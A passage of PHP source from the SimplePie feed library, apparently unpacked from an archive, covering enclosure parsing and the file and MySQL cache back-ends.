(isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } if (is_array($credits)) { $credits = array_values(array_unique($credits)); } } else { $credits = $credits_parent; } // DESCRIPTION if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'])) { $description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $description = $description_parent; } // HASHES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes[] = $algo.':'.$value; } if (is_array($hashes)) { $hashes = array_values(array_unique($hashes)); } } else { $hashes = $hashes_parent; } // KEYWORDS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'])) { if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'])) { $temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords[] = trim($word); } unset($temp); } if (is_array($keywords)) { $keywords = array_values(array_unique($keywords)); } } else { $keywords = $keywords_parent; } // PLAYER if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) { $player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } else { $player = $player_parent; } // RATINGS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } if (is_array($ratings)) { $ratings = array_values(array_unique($ratings)); } } else { $ratings = $ratings_parent; } // RESTRICTIONS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } if (is_array($restrictions)) { $restrictions = array_values(array_unique($restrictions)); } } else { $restrictions = $restrictions_parent; } // THUMBNAILS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) { $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } if (is_array($thumbnails)) { $thumbnails = array_values(array_unique($thumbnails)); } } else { $thumbnails = $thumbnails_parent; } // TITLES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'])) { $title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $title = $title_parent; } $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width)); } } } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link) { if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; $url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); if (isset($link['attribs']['']['type'])) { $type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($link['attribs']['']['length'])) { $length = ceil($link['attribs']['']['length']); } // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width)); } } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link) { if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; $url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); if (isset($link['attribs']['']['type'])) { $type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($link['attribs']['']['length'])) { $length = ceil($link['attribs']['']['length']); } // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width)); } } if ($enclosure = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'enclosure')) { if (isset($enclosure[0]['attribs']['']['url'])) { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; $url = $this->sanitize($enclosure[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($enclosure[0])); if (isset($enclosure[0]['attribs']['']['type'])) { $type = $this->sanitize($enclosure[0]['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($enclosure[0]['attribs']['']['length'])) { $length = ceil($enclosure[0]['attribs']['']['length']); } // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width)); } } if (sizeof($this->data['enclosures']) === 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $restrictions_parent || $samplingrate || $thumbnails_parent || $title_parent || $width)) { // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width)); } $this->data['enclosures'] = array_values(array_unique($this->data['enclosures'])); } if (!empty($this->data['enclosures'])) { return $this->data['enclosures']; } else { return null; } } /** * Get the latitude coordinates for the item * * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications * * Uses `<geo:lat>` or `<georss:point>` * * @since 1.0 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo * @link http://www.georss.org/ GeoRSS * @return string|null */ public function get_latitude() { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat')) { return (float) $return[0]['data']; } elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[1]; } else { return null; } } /** * Get the longitude coordinates for the item * * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications * * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>` * * @since 1.0 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo * @link http://www.georss.org/ GeoRSS * @return string|null */ public function get_longitude() { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long')) { return (float) $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon')) { return (float) $return[0]['data']; } elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[2]; } else { return null; } } /** * Get the `<atom:source>` for the item * * @since 1.1 * @return SimplePie_Source|null */ public function get_source() { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'source')) { return $this->registry->create('Source', array($this, $return[0])); } else { return null; } } } PKÜ�\B�a�66;vendor/simplepie/simplepie/library/SimplePie/Cache/File.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Caches data to the filesystem * * @package SimplePie * @subpackage Caching */ class SimplePie_Cache_File implements SimplePie_Cache_Base { /** * Location string * * @see SimplePie::$cache_location * @var string */ protected $location; /** * Filename * * @var string */ protected $filename; /** * File extension * * @var string */ protected $extension; /** * File path * * @var string */ protected $name; /** * Create a new cache object * * @param string $location Location string (from SimplePie::$cache_location) * @param string $name Unique ID for the cache * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data */ public function __construct($location, $name, $type) { $this->location = $location; $this->filename = $name; $this->extension = $type; $this->name = "$this->location/$this->filename.$this->extension"; } /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if (file_exists($this->name) && is_writeable($this->name) || file_exists($this->location) && is_writeable($this->location)) { if ($data instanceof SimplePie) { $data = $data->data; } $data = serialize($data); return (bool) file_put_contents($this->name, $data); } return false; } /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load() { if (file_exists($this->name) && is_readable($this->name)) { return unserialize(file_get_contents($this->name)); } return false; } /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime() { if (file_exists($this->name)) { return filemtime($this->name); } return false; } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { if (file_exists($this->name)) { return touch($this->name); } return false; } /** * Remove the cache * * @return bool Success status */ public function unlink() { if (file_exists($this->name)) { return unlink($this->name); } return false; } } PKÜ�\|���j j ;vendor/simplepie/simplepie/library/SimplePie/Cache/Base.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Base for cache objects * * Classes to be used with {@see SimplePie_Cache::register()} are expected * to implement this interface. * * @package SimplePie * @subpackage Caching */ interface SimplePie_Cache_Base { /** * Feed cache type * * @var string */ const TYPE_FEED = 'spc'; /** * Image cache type * * @var string */ const TYPE_IMAGE = 'spi'; /** * Create a new cache object * * @param string $location Location string (from SimplePie::$cache_location) * @param string $name Unique ID for the cache * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data */ public function __construct($location, $name, $type); /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data); /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load(); /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime(); /** * Set the last modified time to the current time * * @return bool Success status */ public function touch(); /** * Remove the cache * * @return bool Success status */ public function unlink(); } PKÜ�\��D�/�/<vendor/simplepie/simplepie/library/SimplePie/Cache/MySQL.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Caches data to a MySQL database * * Registered for URLs with the "mysql" protocol * * For example, `mysql://root:password@localhost:3306/mydb?prefix=sp_` will * connect to the `mydb` database on `localhost` on port 3306, with the user * `root` and the password `password`. All tables will be prefixed with `sp_` * * @package SimplePie * @subpackage Caching */ class SimplePie_Cache_MySQL extends SimplePie_Cache_DB { /** * PDO instance * * @var PDO */ protected $mysql; /** * Options * * @var array */ protected $options; /** * Cache ID * * @var string */ protected $id; /** * Create a new cache object * * @param string $location Location string (from SimplePie::$cache_location) * @param string $name Unique ID for the cache * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data */ public function __construct($location, $name, $type) { $this->options = array( 'user' => null, 'pass' => null, 'host' => '127.0.0.1', 'port' => '3306', 'path' => '', 'extras' => array( 'prefix' => '', ), ); $this->options = array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location)); // Path is prefixed with a "/" $this->options['dbname'] = substr($this->options['path'], 1); try { $this->mysql = new PDO("mysql:dbname={$this->options['dbname']};host={$this->options['host']};port={$this->options['port']}", $this->options['user'], $this->options['pass'], array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8')); } catch (PDOException $e) { $this->mysql = null; return; } $this->id = $name . $type; if (!$query = $this->mysql->query('SHOW TABLES')) { $this->mysql = null; return; } $db = array(); while ($row = $query->fetchColumn()) { $db[] = $row; } if (!in_array($this->options['extras']['prefix'] . 'cache_data', $db)) { $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))'); if ($query === false) { $this->mysql = null; } } if (!in_array($this->options['extras']['prefix'] . 'items', $db)) { $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` TEXT CHARACTER SET utf8 NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))'); if ($query === false) { $this->mysql = null; } } } /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if ($this->mysql === null) { return false; } if ($data instanceof SimplePie) { $data = clone $data; $prepared = self::prepare_simplepie_object_for_cache($data); $query = $this->mysql->prepare('SELECT COUNT(*) FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed'); $query->bindValue(':feed', $this->id); if ($query->execute()) { if ($query->fetchColumn() > 0) { $items = count($prepared[1]); if ($items) { $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = :items, `data` = :data, `mtime` = :time WHERE `id` = :feed'; $query = $this->mysql->prepare($sql); $query->bindValue(':items', $items); } else { $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `data` = :data, `mtime` = :time WHERE `id` = :feed'; $query = $this->mysql->prepare($sql); } $query->bindValue(':data', $prepared[0]); $query->bindValue(':time', time()); $query->bindValue(':feed', $this->id); if (!$query->execute()) { return false; } } else { $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:feed, :count, :data, :time)'); $query->bindValue(':feed', $this->id); $query->bindValue(':count', count($prepared[1])); $query->bindValue(':data', $prepared[0]); $query->bindValue(':time', time()); if (!$query->execute()) { return false; } } $ids = array_keys($prepared[1]); if (!empty($ids)) { foreach ($ids as $id) { $database_ids[] = $this->mysql->quote($id); } $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `id` = ' . implode(' OR `id` = ', $database_ids) . ' AND `feed_id` = :feed'); $query->bindValue(':feed', $this->id); if ($query->execute()) { $existing_ids = array(); while ($row = $query->fetchColumn()) { $existing_ids[] = $row; } $new_ids = array_diff($ids, $existing_ids); foreach ($new_ids as $new_id) { if (!($date = $prepared[1][$new_id]->get_date('U'))) { $date = time(); } $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(:feed, :id, :data, :date)'); $query->bindValue(':feed', $this->id); $query->bindValue(':id', $new_id); $query->bindValue(':data', serialize($prepared[1][$new_id]->data)); $query->bindValue(':date', $date); if (!$query->execute()) { return false; } } return true; } } else { return true; } } } else { $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed'); $query->bindValue(':feed', $this->id); if ($query->execute()) { if ($query->rowCount() > 0) { $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = 0, `data` = :data, `mtime` = :time WHERE `id` = :feed'); $query->bindValue(':data', serialize($data)); $query->bindValue(':time', time()); $query->bindValue(':feed', $this->id); if ($this->execute()) { return true; } } else { $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:id, 0, :data, :time)'); $query->bindValue(':id', $this->id); $query->bindValue(':data', serialize($data)); $query->bindValue(':time', time()); if ($query->execute()) { return true; } } } } return false; } /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('SELECT `items`, `data` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id'); $query->bindValue(':id', $this->id); if ($query->execute() && ($row = $query->fetch())) { $data = unserialize($row[1]); if (isset($this->options['items'][0])) { $items = (int) $this->options['items'][0]; } else { $items = (int) $row[0]; } if ($items !== 0) { if (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0])) { $feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]; } elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0])) { $feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]; } elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0])) { $feed =& $data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]; } elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0])) { $feed =& $data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]; } else { $feed = null; } if ($feed !== null) { $sql = 'SELECT `data` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :feed ORDER BY `posted` DESC'; if ($items > 0) { $sql .= ' LIMIT ' . $items; } $query = $this->mysql->prepare($sql); $query->bindValue(':feed', $this->id); if ($query->execute()) { while ($row = $query->fetchColumn()) { $feed['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry'][] = unserialize($row); } } else { return false; } } } return $data; } return false; } /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('SELECT `mtime` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id'); $query->bindValue(':id', $this->id); if ($query->execute() && ($time = $query->fetchColumn())) { return $time; } else { return false; } } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `mtime` = :time WHERE `id` = :id'); $query->bindValue(':time', time()); $query->bindValue(':id', $this->id); if ($query->execute() && $query->rowCount() > 0) { return true; } else { return false; } } /** * Remove the cache * * @return bool Success status */ public function unlink() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id'); $query->bindValue(':id', $this->id); $query2 = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :id'); $query2->bindValue(':id', $this->id); if ($query->execute() && $query2->execute()) { return true; } else { return false; } } } PKÜ�\p&��dd9vendor/simplepie/simplepie/library/SimplePie/Cache/DB.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Base class for database-based caches * * @package SimplePie * @subpackage Caching */ abstract class SimplePie_Cache_DB implements SimplePie_Cache_Base { /** * Helper for database conversion * * Converts a given {@see SimplePie} object into data to be stored * * @param SimplePie $data * @return array First item is the serialized data for storage, second item is the unique ID for this 